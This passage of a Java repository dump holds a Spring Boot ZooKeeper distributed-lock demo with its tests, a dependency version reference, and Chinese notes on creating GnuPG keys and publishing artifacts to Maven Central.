    "content": "package com.jun.plugin.zookeeper;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * <p>\n * 启动器\n * </p>\n *\n * @package: com.xkcoding.zookeeper\n * @description: 启动器\n * @author: yangkai.shen\n * @date: Created in 2018-12-27 14:51\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@SpringBootApplication\npublic class SpringBootDemoZookeeperApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(SpringBootDemoZookeeperApplication.class, args);\n    }\n\n}\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_zookeeper/src/main/java/com/jun/plugin/zookeeper/annotation/LockKeyParam.java",
    "content": "package com.jun.plugin.zookeeper.annotation;\n\nimport java.lang.annotation.*;\n\n/**\n * <p>\n * 分布式锁动态key注解，配置之后key的值会动态获取参数内容\n * </p>\n *\n * @package: com.xkcoding.zookeeper.annotation\n * @description: 分布式锁动态key注解，配置之后key的值会动态获取参数内容\n * @author: yangkai.shen\n * @date: Created in 2018-12-27 14:17\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Target({ElementType.PARAMETER})\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\n@Inherited\npublic @interface LockKeyParam {\n    /**\n     * 如果动态key在user对象中，那么就需要设置fields的值为user对象中的属性名可以为多个，基本类型则不需要设置该值\n     * <p>例1：public void count(@LockKeyParam({\"id\"}) User user)\n     * <p>例2：public void count(@LockKeyParam({\"id\",\"userName\"}) User user)\n     * <p>例3：public void count(@LockKeyParam String userId)\n     */\n    String[] fields() default {};\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_zookeeper/src/main/java/com/jun/plugin/zookeeper/annotation/ZooLock.java",
    "content": "package com.jun.plugin.zookeeper.annotation;\n\nimport java.lang.annotation.*;\nimport java.util.concurrent.TimeUnit;\n\n/**\n * <p>\n * 基于Zookeeper的分布式锁注解\n * 在需要加锁的方法上打上该注解后，AOP会帮助你统一管理这个方法的锁\n * </p>\n *\n * @package: com.xkcoding.zookeeper.annotation\n * @description: 基于Zookeeper的分布式锁注解，在需要加锁的方法上打上该注解后，AOP会帮助你统一管理这个方法的锁\n * @author: yangkai.shen\n * @date: Created in 2018-12-27 14:11\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Target({ElementType.METHOD})\n@Retention(RetentionPolicy.RUNTIME)\n@Documented\n@Inherited\npublic @interface ZooLock {\n    /**\n     * 分布式锁的键\n     */\n    String key();\n\n    /**\n     * 锁释放时间，默认五秒\n     */\n    long timeout() default 5 * 1000;\n\n    /**\n     * 时间格式，默认：毫秒\n     */\n    TimeUnit timeUnit() default TimeUnit.MILLISECONDS;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_zookeeper/src/main/java/com/jun/plugin/zookeeper/aspectj/ZooLockAspect.java",
    "content": "package com.jun.plugin.zookeeper.aspectj;\n\nimport cn.hutool.core.util.ArrayUtil;\nimport cn.hutool.core.util.ObjectUtil;\nimport cn.hutool.core.util.StrUtil;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.curator.framework.CuratorFramework;\nimport org.apache.curator.framework.recipes.locks.InterProcessMutex;\nimport org.aspectj.lang.ProceedingJoinPoint;\nimport org.aspectj.lang.annotation.Around;\nimport org.aspectj.lang.annotation.Aspect;\nimport org.aspectj.lang.annotation.Pointcut;\nimport org.aspectj.lang.reflect.MethodSignature;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Component;\n\nimport com.jun.plugin.zookeeper.annotation.LockKeyParam;\nimport com.jun.plugin.zookeeper.annotation.ZooLock;\n\nimport java.lang.annotation.Annotation;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\n\n/**\n * <p>\n * 使用 aop 切面记录请求日志信息\n * </p>\n *\n * @package: com.xkcoding.log.aop.aspectj\n * @description: 使用 aop 切面记录请求日志信息\n * @author: yangkai.shen\n * @date: Created in 2018/10/1 10:05 PM\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Aspect\n@Component\n@Slf4j\npublic class ZooLockAspect {\n    private final CuratorFramework zkClient;\n\n    private static final String KEY_PREFIX = \"DISTRIBUTED_LOCK_\";\n\n    private static final String KEY_SEPARATOR = \"/\";\n\n    @Autowired\n    public ZooLockAspect(CuratorFramework zkClient) {\n        this.zkClient = zkClient;\n    }\n\n    /**\n     * 切入点\n     */\n    @Pointcut(\"@annotation(com.xkcoding.zookeeper.annotation.ZooLock)\")\n    public void doLock() {\n\n    }\n\n    /**\n     * 环绕操作\n     *\n     * @param point 切入点\n     * @return 原方法返回值\n     * @throws Throwable 异常信息\n     */\n    @Around(\"doLock()\")\n    public Object around(ProceedingJoinPoint point) throws Throwable {\n        MethodSignature signature = (MethodSignature) point.getSignature();\n        Method method = signature.getMethod();\n        Object[] args = point.getArgs();\n        ZooLock zooLock = method.getAnnotation(ZooLock.class);\n        if (StrUtil.isBlank(zooLock.key())) {\n            throw new RuntimeException(\"分布式锁键不能为空\");\n        }\n        String lockKey = buildLockKey(zooLock, method, args);\n        InterProcessMutex lock = new InterProcessMutex(zkClient, lockKey);\n        try {\n            // 假设上锁成功，以后拿到的都是 false\n            if (lock.acquire(zooLock.timeout(), zooLock.timeUnit())) {\n                return point.proceed();\n            } else {\n                throw new RuntimeException(\"请勿重复提交\");\n            }\n        } finally {\n            lock.release();\n        }\n    }\n\n    /**\n     * 构造分布式锁的键\n     *\n     * @param lock   注解\n     * @param method 注解标记的方法\n     * @param args   方法上的参数\n     * @return\n     * @throws NoSuchFieldException\n     * @throws IllegalAccessException\n     */\n    private String buildLockKey(ZooLock lock, Method method, Object[] args) throws NoSuchFieldException, IllegalAccessException {\n        StringBuilder key = new StringBuilder(KEY_SEPARATOR + KEY_PREFIX + lock.key());\n\n        // 迭代全部参数的注解，根据使用LockKeyParam的注解的参数所在的下标，来获取args中对应下标的参数值拼接到前半部分key上\n        Annotation[][] parameterAnnotations = method.getParameterAnnotations();\n\n        for (int i = 0; i < parameterAnnotations.length; i++) {\n            // 循环该参数全部注解\n            for (Annotation annotation : parameterAnnotations[i]) {\n                // 注解不是 @LockKeyParam\n                if (!annotation.annotationType().isInstance(LockKeyParam.class)) {\n                    continue;\n                }\n\n                // 获取所有fields\n                String[] fields = ((LockKeyParam) annotation).fields();\n                if (ArrayUtil.isEmpty(fields)) {\n                    // 普通数据类型直接拼接\n                    if (ObjectUtil.isNull(args[i])) {\n                        throw new RuntimeException(\"动态参数不能为null\");\n                    }\n                    key.append(KEY_SEPARATOR).append(args[i]);\n                } else {\n                    // @LockKeyParam的fields值不为null，所以当前参数应该是对象类型\n                    for (String field : fields) {\n                        Class<?> clazz = args[i].getClass();\n                        Field declaredField = clazz.getDeclaredField(field);\n                        declaredField.setAccessible(true);\n                        Object value = declaredField.get(clazz);\n                        key.append(KEY_SEPARATOR).append(value);\n                    }\n                }\n            }\n        }\n        return key.toString();\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_zookeeper/src/main/java/com/jun/plugin/zookeeper/config/ZkConfig.java",
    "content": "package com.jun.plugin.zookeeper.config;\n\nimport org.apache.curator.RetryPolicy;\nimport org.apache.curator.framework.CuratorFramework;\nimport org.apache.curator.framework.CuratorFrameworkFactory;\nimport org.apache.curator.retry.ExponentialBackoffRetry;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.context.properties.EnableConfigurationProperties;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\nimport com.jun.plugin.zookeeper.config.props.ZkProps;\n\n/**\n * <p>\n * Zookeeper配置类\n * </p>\n *\n * @package: com.xkcoding.zookeeper.config\n * @description: Zookeeper配置类\n * @author: yangkai.shen\n * @date: Created in 2018-12-27 14:45\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Configuration\n@EnableConfigurationProperties(ZkProps.class)\npublic class ZkConfig {\n    private final ZkProps zkProps;\n\n    @Autowired\n    public ZkConfig(ZkProps zkProps) {\n        this.zkProps = zkProps;\n    }\n\n    @Bean\n    public CuratorFramework curatorFramework() {\n        RetryPolicy retryPolicy = new ExponentialBackoffRetry(zkProps.getTimeout(), zkProps.getRetry());\n        CuratorFramework client = CuratorFrameworkFactory.newClient(zkProps.getUrl(), retryPolicy);\n        client.start();\n        return client;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_zookeeper/src/main/java/com/jun/plugin/zookeeper/config/props/ZkProps.java",
    "content": "package com.jun.plugin.zookeeper.config.props;\n\nimport lombok.Data;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\n\n/**\n * <p>\n * Zookeeper 配置项\n * </p>\n *\n * @package: com.xkcoding.zookeeper.config.props\n * @description: Zookeeper 配置项\n * @author: yangkai.shen\n * @date: Created in 2018-12-27 14:47\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Data\n@ConfigurationProperties(prefix = \"zk\")\npublic class ZkProps {\n    /**\n     * 连接地址\n     */\n    private String url;\n\n    /**\n     * 超时时间(毫秒)，默认1000\n     */\n    private int timeout = 1000;\n\n    /**\n     * 重试次数，默认3\n     */\n    private int retry = 3;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_zookeeper/src/main/resources/application.yml",
    "content": "server:\n  port: 8080\n  servlet:\n    context-path: /demo\n\nzk:\n  url: 127.0.0.1:2181\n  timeout: 1000\n  retry: 3\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_zookeeper/src/test/java/com/jun/plugin/zookeeper/SpringBootDemoZookeeperApplicationTests.java",
    "content": "package com.jun.plugin.zookeeper;\n\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.curator.framework.CuratorFramework;\nimport org.apache.curator.framework.recipes.locks.InterProcessMutex;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.aop.aspectj.annotation.AspectJProxyFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\nimport com.jun.plugin.zookeeper.annotation.ZooLock;\nimport com.jun.plugin.zookeeper.aspectj.ZooLockAspect;\n\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.TimeUnit;\nimport java.util.stream.IntStream;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\n@Slf4j\npublic class SpringBootDemoZookeeperApplicationTests {\n\n    public Integer getCount() {\n        return count;\n    }\n\n    private Integer count = 10000;\n    private ExecutorService executorService = Executors.newFixedThreadPool(1000);\n\n    @Autowired\n    private CuratorFramework zkClient;\n\n    /**\n     * 不使用分布式锁，程序结束查看count的值是否为0\n     */\n    @Test\n    public void test() throws InterruptedException {\n        IntStream.range(0, 10000).forEach(i -> executorService.execute(this::doBuy));\n        TimeUnit.MINUTES.sleep(1);\n        log.error(\"count值为{}\", count);\n    }\n\n    /**\n     * 测试AOP分布式锁\n     */\n    @Test\n    public void testAopLock() throws InterruptedException {\n        // 测试类中使用AOP需要手动代理\n        SpringBootDemoZookeeperApplicationTests target = new SpringBootDemoZookeeperApplicationTests();\n        AspectJProxyFactory factory = new AspectJProxyFactory(target);\n        ZooLockAspect aspect = new ZooLockAspect(zkClient);\n        factory.addAspect(aspect);\n        SpringBootDemoZookeeperApplicationTests proxy = factory.getProxy();\n        IntStream.range(0, 10000).forEach(i -> executorService.execute(() -> proxy.aopBuy(i)));\n        TimeUnit.MINUTES.sleep(1);\n        log.error(\"count值为{}\", proxy.getCount());\n    }\n\n    /**\n     * 测试手动加锁\n     */\n    @Test\n    public void testManualLock() throws InterruptedException {\n        IntStream.range(0, 10000).forEach(i -> executorService.execute(this::manualBuy));\n        TimeUnit.MINUTES.sleep(1);\n        log.error(\"count值为{}\", count);\n    }\n\n    @ZooLock(key = \"buy\", timeout = 1, timeUnit = TimeUnit.MINUTES)\n    public void aopBuy(int userId) {\n        log.info(\"{} 正在出库。。。\", userId);\n        doBuy();\n        log.info(\"{} 扣库存成功。。。\", userId);\n    }\n\n    public void manualBuy() {\n        String lockPath = \"/buy\";\n        log.info(\"try to buy sth.\");\n        try {\n            InterProcessMutex lock = new InterProcessMutex(zkClient, lockPath);\n            try {\n                if (lock.acquire(1, TimeUnit.MINUTES)) {\n                    doBuy();\n                    log.info(\"buy successfully!\");\n                }\n            } finally {\n                lock.release();\n            }\n        } catch (Exception e) {\n            log.error(\"zk error\");\n        }\n    }\n\n    public void doBuy() {\n        count--;\n        log.info(\"count值为{}\", count);\n    }\n\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/.gitignore",
    "content": "*.class\n.DS_Store\napplication.pid\n\n# Mobile Tools for Java (J2ME)\n.mtj.tmp/\n\n# Package Files #\n# *.jar\n*.war\n*.ear\n\n# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml\nhs_err_pid*\n\n# Eclipse\n.classpath\n.project\ntarget\nclasses\nbin\n.settings\n.factorypath\n\n# Idea\n.idea\n*.iml\n\n# git\n*.orig\n\n\ndoc2"
  },
  {
    "path": "jun_springboot_starter/VERSION_CONSTANTS.md",
    "content": "# 版本常量参考\n\n此文档记录 jun_springboot_starter 模块中使用的所有版本号，用于统一版本管理和维护。\n\n## 内部模块版本\n\n所有内部模块统一使用版本 **1.0.25**\n\n### 基础模块（Foundation Modules）\n\n- jun-common-base: 1.0.25\n- jun-db-activerecord: 1.0.25\n- jun-mybatis-sql-engine: 1.0.25\n\n### 功能模块（Feature Modules）\n\n- jun-activerecord: 1.0.25\n- jun-db-spring-boot-starter: 1.0.25\n- jun-db-activerecord2: 1.0.25\n- jun-groovy-api: 1.0.25\n- jun-groovy-api-spring-boot-starter: 1.0.25\n- jun-swagger2-spring-boot-starter: 1.0.25\n- jun-uidgenerator-spring-boot-starter: 1.0.25\n- jun-sentinel-spring-boot-starter: 1.0.25\n- jun-job-spring-boot-starter: 1.0.25\n- jun-snakerflow-spring-boot-starter: 1.0.25\n- jun-minio-spring-boot-starter: 1.0.25\n- jun-encrypt-body-spring-boot-starter: 1.0.25\n- jun-log-spring-boot-starter: 1.0.25\n- jun-redis-spring-boot-starter: 1.0.25\n- jun-onlineForm-spring-boot-starter: 1.0.25\n- jun-security-spring-boot-starter: 1.0.25\n- jun-p6spy-spring-boot-starter: 1.0.25\n- jun-oss-spring-boot-starter: 1.0.25\n\n## 第三方依赖版本\n\n### Spring Framework 系列\n\n| 依赖名称 | 版本 | 备注 |\n|---------|------|------|\n| Spring Boot | 2.5.14 | 主要版本 |\n| Spring Cloud | 2020.0.6 | 对应 Spring Boot 2.5.x |\n| Spring Cloud Alibaba | 2021.1 | 阿里巴巴微服务方案 |\n| Spring Data Elasticsearch | 4.2.3 | ES 集成 |\n\n### 数据库和 ORM\n\n| 依赖名称 | 版本 | 备注 |\n|---------|------|------|\n| MyBatis Plus | 3.5.7 | MyBatis 增强框架 |\n| MyBatis Plus Boot Starter | 3.5.7 | - |\n| MyBatis Plus Extension | 3.5.7 | - |\n| MyBatis Plus Core | 3.5.7 | - |\n| MyBatis Plus Generator | 3.5.7 | - |\n| Druid | 1.2.6 (starter) / 1.2.16 (direct) | 数据库连接池 |\n| Sharding Sphere | 3.1.0 | 分库分表方案 |\n\n### 工具库\n\n| 依赖名称 | 版本 | 备注 |\n|---------|------|------|\n| Hutool | 5.8.25 (root) / 5.8.40-5.8.41 (modules) | Java 工具类库 |\n| Guava | 33.2.1-jre | Google 集合库 |\n| Lombok | 1.18.20 | 减少样板代码 |\n| FastJSON2 | 2.0.37 / 2.0.57 | 阿里巴巴 JSON 库 |\n| Apache Commons Lang3 | 3.10 / 3.18.0 | - |\n| Apache Commons IO | 2.7 / 2.11.0 / 2.14.0 | - |\n| Apache Commons Collections4 | 4.4 | - |\n| Apache Commons Configuration | 1.10 / 2.7 | - |\n| Apache Commons BeanUtils | 1.9.4 | - |\n| Apache Commons FileUpload | 1.6.0 | 文件上传 |\n\n### 缓存和消息\n\n| 依赖名称 | 版本 | 备注 |\n|---------|------|------|\n| Redisson | 3.16.1 | Redis 客户端和框架 |\n| Spring Cloud Context | 2020.0.6 | 从 Spring Cloud 获取 |\n\n### 序列化和数据格式\n\n| 依赖名称 | 版本 | 备注 |\n|---------|------|------|\n| Jackson Databind | 2.13.4 | JSON 序列化 |\n| Jackson Core | 2.13.4 | - |\n| Jackson Annotations | 2.20 | - |\n| Freemarker | 2.3.32 | 模板引擎 |\n| Velocity | 1.7 | 模板引擎 |\n| JimuReport JFINAL ActiveRecord | 5.1.2 | - |\n| JimuReport JFINAL Enjoy | 5.1.2 | - |\n\n### API 文档和安全\n\n| 依赖名称 | 版本 | 备注 |\n|---------|------|------|\n| Knife4j | 2.0.5 | Swagger UI 增强 |\n| Swagger Butler Core | 2.0.1 | - |\n| Spring Security OAuth2 | 2.3.8.RELEASE | OAuth2 实现 |\n| Spring Security JWT | 1.1.0.RELEASE | JWT 支持 |\n| JJWT | 0.9.1 | JWT 处理 |\n| Hibernate Validator | 6.2.0.Final | JSR-380 验证 |\n| Spring Social Security | 1.1.6.RELEASE | 社交登录 |\n\n### 中间件和云服务\n\n| 依赖名称 | 版本 | 备注 |\n|---------|------|------|\n| Aliyun OSS SDK | 3.8.1 | 阿里云对象存储 |\n| Qiniu SDK | 7.2.28 | 七牛云存储 |\n| AWS S3 SDK | 1.12.40 | 亚马逊 S3 |\n| Dubbo | 2.7.8 | RPC 框架 |\n| Curator | 5.1.0 | ZooKeeper 客户端 |\n| FastDFS Client | 1.27.2 | 文件系统 |\n| UserAgentUtils | 1.21 | 用户代理解析 |\n| Transmittable Thread Local | 2.12.1 | 线程上下文传递 |\n| TXLcn | 5.0.2.RELEASE | 分布式事务 |\n\n### Office 和 POI\n\n| 依赖名称 | 版本 | 备注 |\n|---------|------|------|\n| Apache POI | 4.1.1 | Office 文件处理 |\n| Apache POI OOXML | 4.1.1 | - |\n| EasyPOI | 4.1.3 | POI 简化库 |\n\n### 其他\n\n| 依赖名称 | 版本 | 备注 |\n|---------|------|------|\n| Spring Boot Admin | 2.5.6 | Spring Boot 应用监控 |\n| Elasticsearch | 7.13.4 | 搜索引擎 |\n| Elasticsearch REST Client | 7.13.4 | - |\n| Elasticsearch X-Content | 7.13.4 | - |\n| Easy Captcha | 1.6.2 | 验证码生成 |\n| Banner | 1.0.2 | 启动横幅 |\n| javax.annotation-api | 1.3.2 | JSR-250 注解 |\n| javax.servlet-api | 4.0.1 | Servlet API |\n| Spring Zuul | 2.2.9.RELEASE | API 网关 |\n| Spring Cloud Starter OAuth2 | 2.2.5.RELEASE | - |\n| Docker Maven Plugin | 1.2.2 | Docker 构建 |\n| Mica Auto | 2.3.2 / 2.3.3 | 自动配置 |\n| MySQL Connector | 8.0.33 | MySQL 驱动 |\n| H2 Database | 1.4.200 | 测试数据库 |\n| Mockito | 3.12.4 | 单元测试 Mock |\n| JUnit | 4.12 / 4.13.2 | 单元测试框架 |\n\n## 属性配置模板\n\n每个模块的 `pom.xml` 应包含以下 `<properties>` 部分（至少包括核心版本）：\n\n```xml\n<properties>\n    <java.version>1.8</java.version>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <maven.compiler.source>1.8</maven.compiler.source>\n    <maven.compiler.target>1.8</maven.compiler.target>\n\n    <!-- 内部版本 -->\n    <jun.version>1.0.25</jun.version>\n\n    <!-- Spring 版本 -->\n    <spring-boot.version>2.5.14</spring-boot.version>\n    <spring-cloud.version>2020.0.6</spring-cloud.version>\n    <spring-cloud-alibaba.version>2021.1</spring-cloud-alibaba.version>\n\n    <!-- 核心依赖版本 -->\n    <mybatis-plus.version>3.5.7</mybatis-plus.version>\n    <hutool.version>5.8.25</hutool.version>\n    <jackson.version>2.13.4</jackson.version>\n    <druid.version>1.2.6</druid.version>\n    <redisson.version>3.16.1</redisson.version>\n    <knife4j.version>2.0.5</knife4j.version>\n    <guava.version>33.2.1-jre</guava.version>\n    <lombok.version>1.18.20</lombok.version>\n\n    <!-- 其他常用依赖版本 -->\n    <commons-lang3.version>3.10</commons-lang3.version>\n    <commons-io.version>2.7</commons-io.version>\n    <fastjson.version>2.0.37</fastjson.version>\n    <freemarker.version>2.3.32</freemarker.version>\n    <mica-auto.version>2.3.2</mica-auto.version>\n</properties>\n```\n\n## dependencyManagement 模板\n\n每个模块应包含以下 dependencyManagement，确保与 Spring Boot 版本兼容：\n\n```xml\n<dependencyManagement>\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-dependencies</artifactId>\n            <version>2.5.14</version>\n            <type>pom</type>\n            <scope>import</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.cloud</groupId>\n            <artifactId>spring-cloud-dependencies</artifactId>\n            <version>2020.0.6</version>\n            <type>pom</type>\n            <scope>import</scope>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba.cloud</groupId>\n            <artifactId>spring-cloud-alibaba-dependencies</artifactId>\n            <version>2021.1</version>\n            <type>pom</type>\n            <scope>import</scope>\n        </dependency>\n    </dependencies>\n</dependencyManagement>\n```\n\n## 更新日志\n\n- 2024-02-28: 初始版本，记录所有核心版本号和依赖关系\n"
  },
  {
    "path": "jun_springboot_starter/doc/GnuPG.md",
    "content": "Real name: wujun728\nEmail address: wujun728@163.com\nYou selected this USER-ID:\n\"wujun728 <wujun728@163.com>\"\n\nChange (N)ame, (E)mail, or (O)kay/(Q)uit? O\nWe need to generate a lot of random bytes. It is a good idea to perform\nsome other action (type on the keyboard, move the mouse, utilize the\ndisks) during the prime generation; this gives the random number\ngenerator a better chance to gain enough entropy.\nWe need to generate a lot of random bytes. It is a good idea to perform\nsome other action (type on the keyboard, move the mouse, utilize the\ndisks) during the prime generation; this gives the random number\ngenerator a better chance to gain enough entropy.\ngpg: revocation certificate stored as 'C:\\\\Users\\\\Administrator\\\\AppData\\\\Roaming\\\\gnupg\\\\openpgp-revocs.d\\\\ECB23E2FDD65521C21EAD5360ECD3DDD5A391E46.rev'\npublic and secret key created and signed.\n\npub   ed25519 2024-07-08 [SC] [expires: 2026-07-08]\nECB23E2FDD65521C21EAD5360ECD3DDD5A391E46\nuid                      wujun728 <wujun728@163.com>\nsub   cv25519 2024-07-08 [E] [expires: 2026-07-08]\n\n\n\nd:\\workspace\\github\\jun-spring-boot-starter\\jun-uidgenerator-spring-boot-starter>gpg --generate-key\ngpg (GnuPG) 2.4.0; Copyright (C) 2021 g10 Code GmbH\nThis is free software: you are free to change and redistribute it.\nThere is NO WARRANTY, to the extent permitted by law.\n\nNote: Use \"gpg --full-generate-key\" for a full featured key generation dialog.\n\nGnuPG needs to construct a user ID to identify your key.\n\nReal name: wujun728\nEmail address: wujun728@163.com\nYou selected this USER-ID:\n\"wujun728 <wujun728@163.com>\"\n\nChange (N)ame, (E)mail, or (O)kay/(Q)uit? O\nWe need to generate a lot of random bytes. It is a good idea to perform\nsome other action (type on the keyboard, move the mouse, utilize the\ndisks) during the prime generation; this gives the random number\ngenerator a better chance to gain enough entropy.\nWe need to generate a lot of random bytes. It is a good idea to perform\nsome other action (type on the keyboard, move the mouse, utilize the\ndisks) during the prime generation; this gives the random number\ngenerator a better chance to gain enough entropy.\ngpg: revocation certificate stored as 'C:\\\\Users\\\\Administrator\\\\AppData\\\\Roaming\\\\gnupg\\\\openpgp-revocs.d\\\\EF79913B9AF7AF55BAEA1B56CB18FA1CB53CD02D.rev'\npublic and secret key created and signed.\n\npub   ed25519 2023-11-28 [SC] [expires: 2025-11-27]\nEF79913B9AF7AF55BAEA1B56CB18FA1CB53CD02D\nuid                      wujun728 <wujun728@163.com>\nsub   cv25519 2023-11-28 [E] [expires: 2025-11-27]\n\n\n\nGPG签名\n注意：这一步也只要做一次，除非你的GPG签名过期了，或者被你删掉了，要么就是你换电脑了\n兄弟们，废话不多说，直接上链接：www.gnupg.org/download/\n咱们先下载一个gpg签名工具，大家根据自己的操作系统来；安装完毕后，直接在控制台输入命令：\ngpg --generate-key\n复制代码\n后续就根据自己情况输入，最后回车会生成公钥和私钥，我们接下来需要把生成的公钥上传到公共服务器供 sonatype 验证。\n可以通过以下命令把公钥发送给公共服务器：\ngpg --keyserver pgp.mit.edu --send-keys ECB23E2FDD65521C21EAD5360ECD3DDD5A391E46\ngpg --keyserver pgp.mit.edu --send-keys [公钥]\n复制代码\n或\ngpg --keyserver keyserver.ubuntu.com --send-keys ECB23E2FDD65521C21EAD5360ECD3DDD5A391E46\ngpg --keyserver keyserver.ubuntu.com --send-keys [公钥]\n\ngpg --keyserver pgp.mit.edu --send-keys ECB23E2FDD65521C21EAD5360ECD3DDD5A391E46\ngpg --keyserver keyserver.ubuntu.com --recv-keys ECB23E2FDD65521C21EAD5360ECD3DDD5A391E46\ngpg --keyserver keys.openpgp.org --send-keys ECB23E2FDD65521C21EAD5360ECD3DDD5A391E46\n\n复制代码\n或\ngpg --keyserver keys.openpgp.org --send-keys ECB23E2FDD65521C21EAD5360ECD3DDD5A391E46\ngpg --keyserver keys.openpgp.org --send-keys [公钥]\n复制代码\n以上分别为向三个公共服务器发生公钥，只要其中一个成功即可。\n\n\nmvn clean install deploy -P release\nmvn clean   deploy \n\nhttps://s01.oss.sonatype.org/#stagingRepositories\n\n\nhttps://developer.aliyun.com/article/1116049\n\n"
  },
  {
    "path": "jun_springboot_starter/doc/jun-db-activerecord-1.0.20.pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <parent>\n        <groupId>io.github.wujun728</groupId>\n        <artifactId>jun_springcloud_starter</artifactId>\n        <version>1.0.20</version>\n    </parent>\n    <artifactId>jun-db-activerecord</artifactId>\n    <name>jun-db-activerecord</name>\n    <description>dynamic sql engine tool</description>\n    <url>https://github.com/wujun728/jun-spring-boot-starter/jun-db-activerecord</url>\n    \n    \n   \t<properties>\n\t\t<java.version>1.8</java.version>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t</properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>dom4j</groupId>\n            <artifactId>dom4j</artifactId>\n            <version>1.6.1</version>\n        </dependency>\n        <dependency>\n            <groupId>ognl</groupId>\n            <artifactId>ognl</artifactId>\n            <version>2.7.3</version>\n        </dependency>\n        <dependency>\n            <groupId>com.jfinal</groupId>\n            <artifactId>enjoy</artifactId>\n            <version>5.1.2</version>\n        </dependency>\n        <!--<dependency>\n            <groupId>com.alibaba.fastjson2</groupId>\n            <artifactId>fastjson2</artifactId>\n            <version>2.0.37</version>\n        </dependency>-->\n        <!--<dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <version>1.18.30</version>\n        </dependency>-->\n        <!-- https://mvnrepository.com/artifact/org.slf4j/slf4j-api -->\n        <dependency>\n            <groupId>org.slf4j</groupId>\n            <artifactId>slf4j-api</artifactId>\n            <version>1.7.25</version>\n        </dependency>\n        <!-- https://mvnrepository.com/artifact/ch.qos.logback/logback-classic -->\n        <dependency>\n            <groupId>ch.qos.logback</groupId>\n            <artifactId>logback-classic</artifactId>\n            <version>1.2.3</version>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid</artifactId>\n            <version>1.2.24</version>\n        </dependency>\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n            <version>5.8.25</version>\n        </dependency>\n        <dependency>\n            <groupId>junit</groupId>\n            <artifactId>junit</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-lang3</artifactId>\n            <version>3.13.0</version>\n            <scope>compile</scope>\n        </dependency>\n        <dependency>\n            <groupId>com.jfinal</groupId>\n            <artifactId>activerecord</artifactId>\n            <version>5.1.2</version>\n        </dependency>\n        <dependency>\n            <groupId>com.jfinal</groupId>\n            <artifactId>enjoy</artifactId>\n            <version>5.1.2</version>\n        </dependency>\n        <!-- https://mvnrepository.com/artifact/com.mysql/mysql-connector-j -->\n        <dependency>\n            <groupId>com.mysql</groupId>\n            <artifactId>mysql-connector-j</artifactId>\n            <version>8.0.33</version>\n            <scope>runtime</scope>\n        </dependency>\n        <dependency>\n            <groupId>net.sf.ehcache</groupId>\n            <artifactId>ehcache</artifactId>\n            <version>2.10.9.2</version>\n            <scope>compile</scope>\n        </dependency>\n        <dependency>\n            <groupId>javax.servlet</groupId>\n            <artifactId>javax.servlet-api</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.aspectj</groupId>\n            <artifactId>aspectjweaver</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.fasterxml.jackson.core</groupId>\n            <artifactId>jackson-databind</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>net.dreamlu</groupId>\n            <artifactId>mica-auto</artifactId>\n        </dependency>\n    </dependencies>\n\n    <developers>\n        <developer>\n            <name>wujun728</name>\n            <email>wujun728@163.com</email>\n            <url>https://github.com/wujun728/jun-spring-boot-starter/jun-db-activerecord</url>\n        </developer>\n    </developers>\n\n    <scm>\n        <url>https://github.com/wujun728/jun-spring-boot-starter/jun-db-activerecord.git</url>\n        